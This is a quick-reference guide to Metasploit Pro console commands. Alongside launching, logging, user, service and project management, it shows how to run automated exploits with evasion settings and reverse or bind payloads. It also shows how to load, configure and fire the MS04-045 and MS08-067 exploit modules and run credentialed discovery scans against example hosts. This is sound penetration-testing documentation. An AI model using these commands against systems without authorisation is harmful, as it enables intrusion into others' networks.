Managing Metasploit
Pro Console Commands
This is a list of common Pro Console commands that you can use as a quick reference. If something is not listed here, type help
in the console for a list of all options.
Launch Metasploit
The following commands launch and quit Metasploit.
Launch on Windows
1$ msf > cd /metasploit2$ msf > console.bat
Launch on Linux
1$ msf > cd /opt/metasploit2$ msf > sudo msfpro
Quit
1$ msf > quit
See Available Commands
1$ msf > help
You can prepend help to any command to see a list of options available.
1msf > help handler23Usage: handler [options]4Spin up a Payload Handler as a background job.5OPTIONS:67-H <opt> The RHOST/LHOST to configure the handler for8-P <opt> The RPORT/LPORT to configure the handler for9-e <opt> An Encoder to use for Payload Stage Encoding10-h Help Banner11-n <opt> The custom name to give the handler job12-p <opt> The payload to configure the handler for13-x Shut the Handler down after a session is established141516msf > help workspace1718Usage:19workspace List workspaces20workspace -v List workspaces verbosely21workspace [name] Switch workspace22workspace -a [name] ... Add workspace(s)23workspace -d [name] ... Delete workspace(s)24workspace -D Delete all workspaces25workspace -r <old> <new> Rename workspace26workspace -h Show this help information
Pro Help Page
These are all the options available from $ msf > help
.
1msf > help23Core Commands4=============56Command Description7------- -----------8? Help menu9banner Display an awesome metasploit banner10cd Change the current working directory11color Toggle color12connect Communicate with a host13exit Exit the console14get Gets the value of a context-specific variable15getg Gets the value of a global variable16grep Grep the output of another command17help Help menu18history Show command history19load Load a framework plugin20quit Exit the console21repeat Repeat a list of commands22route Route traffic through a session23save Saves the active datastores24sessions Dump session listings and display information about sessions25set Sets a context-specific variable to a value26setg Sets a global variable to a value27sleep Do nothing for the specified number of seconds28spool Write console output into a file as well the screen29threads View and manipulate background threads30unload Unload a framework plugin31unset Unsets one or more context-specific variables32unsetg Unsets one or more global variables33version Show the framework and console library version numbers343536Module Commands37===============3839Command Description40------- -----------41advanced Displays advanced options for one or more modules42back Move back from the current context43info Displays information about one or more modules44loadpath Searches for and loads modules from a path45options Displays global options or for one or more modules46popm Pops the latest module off the stack and makes it active47previous Sets the previously loaded module as the current module48pushm Pushes the active or list of modules onto the module stack49reload_all Reloads all modules from all defined module paths50search Searches module names and descriptions51show Displays modules of a given type, or all modules52use Interact with a module by name or search term/index535455Job Commands56============5758Command Description59------- -----------60handler Start a payload handler as job61jobs Displays and manages jobs62kill Kill a job63rename_job Rename a job646566Resource Script Commands67========================6869Command Description70------- -----------71makerc Save commands entered since start to a file72resource Run the commands stored in a file737475Developer Commands76==================7778Command Description79------- -----------80edit Edit the current module or a file with the preferred editor81irb Open an interactive Ruby shell in the current context82log Display framework.log paged to the end if possible83pry Open the Pry debugger on the current module or Framework84reload_lib Reload Ruby library files from specified paths858687Database Backend Commands88=========================8990Command Description91------- -----------92analyze Analyze database information about a specific address or address range93db_connect Connect to an existing database94db_disconnect Disconnect from the current database instance95db_export Export a file containing the contents of the database96db_import Import a scan result file (filetype will be auto-detected)97db_nmap Executes nmap and records the output automatically98db_rebuild_cache Rebuilds the database-stored module cache99db_status Show the current database status100hosts List all hosts in the database101loot List all loot in the database102notes List all notes in the database103services List all services in the database104vulns List all vulnerabilities in the database105workspace Switch between database workspaces106107108Credentials Backend Commands109============================110111Command Description112------- -----------113creds List all credentials in the database
Logs
The following commands allow you to control the logging from Metasploit Pro.
Logging Input and Output from the Console
Use the ConsoleLogging
option to store information that the Pro Console inputs and outputs into a log.
1msf-pro > setg ConsoleLogging y2Console logging is now enabled.
Changing the Log Verbosity
Use the LogLevel
option to set the verbosity of the logs. Set the value between 1 and 5.
1msf-pro > setg LogLevel 32LogLevel => 3
Logging Input and Output for a Session
Use the SessionLogging
option to store information that msfconsole inputs and outputs about a session into a log.
1msf-pro > setg SessionLogging y2Session logging will be enabled for future sessions.
Users
The following commands relate to user management.
Change the Current User
Use the pro_user
command and supply the user name as the argument to change the current user.
1msf-pro > pro_user joe2{*} Changed pro_user to joe
View a List of Users
Use the pro_user
command and the -l
option to view a list of users.
1msf-pro > pro_user -l2Username Full Name Email Admin?3======== ========= ===== ======4joe5john
Running Services
To stop, start or restart services, use the ctlscript.sh script
.
1msadmin@ubuntu:~$ sudo '/opt/metasploit/ctlscript.sh'2usage: /opt/metasploit/ctlscript.sh help3/opt/metasploit/ctlscript.sh (start|stop|restart|status)4/opt/metasploit/ctlscript.sh (start|stop|restart|status) postgresql5/opt/metasploit/ctlscript.sh (start|stop|restart|status) prosvc6/opt/metasploit/ctlscript.sh (start|stop|restart|status) metasploit7/opt/metasploit/ctlscript.sh (start|stop|restart|status) worker89help - this screen10start - start the service(s)11stop - stop the service(s)12restart - restart or start the service(s)13status - show the status of the service(s)### To start
To start Metasploit:
/opt/metasploit/ctlscript.sh start
To start a specific service:
/opt/metasploit/ctlscript.sh start worker
Chain Commands
Use the argument -- -x
to chain commands together. This works only when launching Metasploit Pro. The argument will not work in an existing Metasploit Pro session. Use ;
to chain the commands together.
1$ sudo /opt/metasploit/msfpro -- -x 'setg lhost 1.2.3.4'2$ sudo /opt/metasploit/msfpro -x 'use multi/handler; set lport 3333; set lhost eth0'
If you are missing the extra two dashes, -- -x
, the command fails with the error invalid option: -x (OptionParser::InvalidOption)
.
Exploits
These commands are related to automated exploits and manual exploits.
Automated Exploits
Automated exploits choose the exploit based on host and vulnerability data.
Run an automated exploit Pass in the host IP address as the option.
1msf-pro > pro_exploit 192.168.184.139
Define a Host Blacklist for an Automated Exploit
Use the -b
option to define a blacklist.
1msf-pro > pro_exploit 192.168.184.0/24 -b 192.168.184.138
Define a Port Blacklist for an Automated Exploit
Use the pb
option to specify a list of ports to exclude.
1msf-pro > pro_exploit 192.168.184.0/24 -pb 22-23
Perform a Dry Run of an Automated Exploit
Use the -d
option to perform a dry run of the automated exploit.
1msf-pro > pro_exploit 192.168.184.0/24 -d
Set the Application Evasion Level for an Automated Exploit
Use the -ea
option to set the evasion level for an automated exploit. You can assign an evasion level of 'none', 'low', 'medium', and 'high'.
1msf-pro > pro_exploit 192.168.184.0/24 -ea low
Set the TCP Evasion Level
Use the -et
option to set the TCP evasion level. You can assign an evasion level of 'none', 'low', 'medium', and 'high'.
1msf-pro > pro_exploit 192.168.184.0/24 -ea low
Set the Payload Connection Type
Use the -m
option to set the payload type for an automated exploit. The payload types are auto, bind, and reverse
1msf-pro > pro_exploit 192.168.184.0/24 -m bind
Set the Minimum Rank
Use the -r
option to set the payload type for an automated exploit. The minimum rank settings are 'low', 'average', 'normal', 'good', 'great', and 'excellent'.
1msf-pro > pro_exploit 192.168.184.0/24 -r good
Manual Exploits
Manual exploits are exploits that you configure to run against a target.
Search
Use the search
command along with the search operator to search for a module
1msf-pro > search platform:Windows2msf-pro > search type:exploit3msf-pro > search author:hd4msf-pro > search app:client5msf-pro > search name:ms08-067
Show All Exploit Modules
Use the show
command to view a list of the exploits that are available. This command will take a long time since there are thousands of exploit modules available.
1msf-pro > show exploits
Load a Module
Use the use
command to load an exploit module.
1msf-pro > use exploit/windows/wins/ms04_045_wins2msf-pro exploit (ms04_045_wins) >
Reset the command prompt
Use the back
command to reset the prompt and to remove the module that is currently loaded.
1msf-pro exploit (ms04_045_wins) > back2msf-pro >
Show Module Options
Use the show
command to view a list of options that are available for a particular module.
1msf-pro > use exploit/windows/wins/ms04_045_wins2msf-pro exploit (ms04_045_wins) > show options
Show Required Options
To find out what options are required, you can use the show missing
command.
1msf-pro > use exploit/windows/wins/ms04_045_wins2msf-pro exploit (ms04_045_wins) > show missing
Show Advanced Options
Use the show
command to view a list of advanced options that are available for an exploit module.
1msf-pro > use exploit/windows/wins/ms04_045_wins2msf-pro exploit (ms04_045_wins) > show advanced
Set Options
Use the set
command to configure options for a module. You need to specify the option name and the option value, as shown below:
1msf-pro exploit (ms04_045_wins) > show options23Name Current Setting Required Description4---- ------- ------- -------- ------------5RHOST6RPORT 44578msf-pro exploit (ms04_045_wins) > set RHOST 192.168.55.1
Show Module Targets
Use the show targets
command to view a list of potentially vulnerable targets.
1msf-pro > use exploit/windows/wins/ms04_045_wins2msf-pro exploit (ms04_045_wins) > show targets34Exploit targets:5Id Name6-- -----70 Windows 2000 English
Check Target Vulnerability
Use the check
command to determine if a target is vulnerable to a particular exploit.
1msf-pro > use exploit/windows/smb/ms08_067_netapi2msf-pro exploit (ms08_067_netapi) > check 192.168.55.13[+] 192.168.55.1:445 - the target is vulnerable.
Set the Exploit Target
Use the set target
command to specify a target for the exploit.
1msf-pro > use exploit/windows/wins/ms04_045_wins2msf-pro exploit (ms04_045_wins) > show targets34Exploit targets:5Id Name6-- -----70 Windows 2000 English89msf-pro exploit (ms04_045_wins) > set target 0
Run an Exploit
Use the exploit
or run
command to run an exploit module.
1msf-pro > use exploit/windows/wins/ms04_045_wins2msf-pro exploit (ms04_045_wins) > run
Reload an Exploit
Use the reload
command to refresh the metadata and methods for an exploit.
1msf-pro exploit (ms04_045_wins) > reload
Host
The following commands are related to hosts.
Discovery Scan
Use the pro_discover
command to perform a discovery scan.
1msf-pro > pro_discover 192.168.0.1
Run a Credentialed Scan
Use the following command if you have SMB credentials that you want to specify for Windows hosts.
-sd
option defines the SMB domain.-su
option specifies the user name.-sp
option specifies the password.
1msf-pro > pro_discover 192.168.0.1 -sd workgroup -su root -sp root
View Hosts
Use the hosts
command to view a list of hosts that the database contains.
1msf-pro > hosts
Add a Host
Use the hosts
command and the -a
option to add a host to the current workspace.
1msf-pro > hosts -a 192.168.0.3
Delete a Host
Use the hosts
command and the -d
option to delete a host from the current workspace:
1msf-pro > hosts -d 192.168.0.3
Connect to a Host
Use the connect
command to communicate with a host. You must supply the host address and port that you want to connect to.
1msf-pro > connect 192.168.0.1 22
View Hosts That Are Up
Use the hosts
command and the -u
option to view a list of hosts that are up.
1msf-pro > hosts -u
Projects
The following commands are related to managing projects in Metasploit Pro.
Create a Project
Use the pro_project
command and the -a
option to create a project. The project that you create becomes the current project.
1msf-pro > pro_project -a HR
View the Current Project
Use the pro_project
command to view the current project.
1msf-pro > pro_project
Change Project
Use the pro_project
command to change the current project
If you need to specify a project that contains spaces, you must enclose the project name in quotes. For example, use pro_project “IT Dept”
.
1msf-pro > pro_project HR
Delete a Project
Use the -d
option to delete a project. This deletes the project, which includes the hosts, credentials, evidence, and any other data related to the project.
1msf-pro > pro_project -d ACC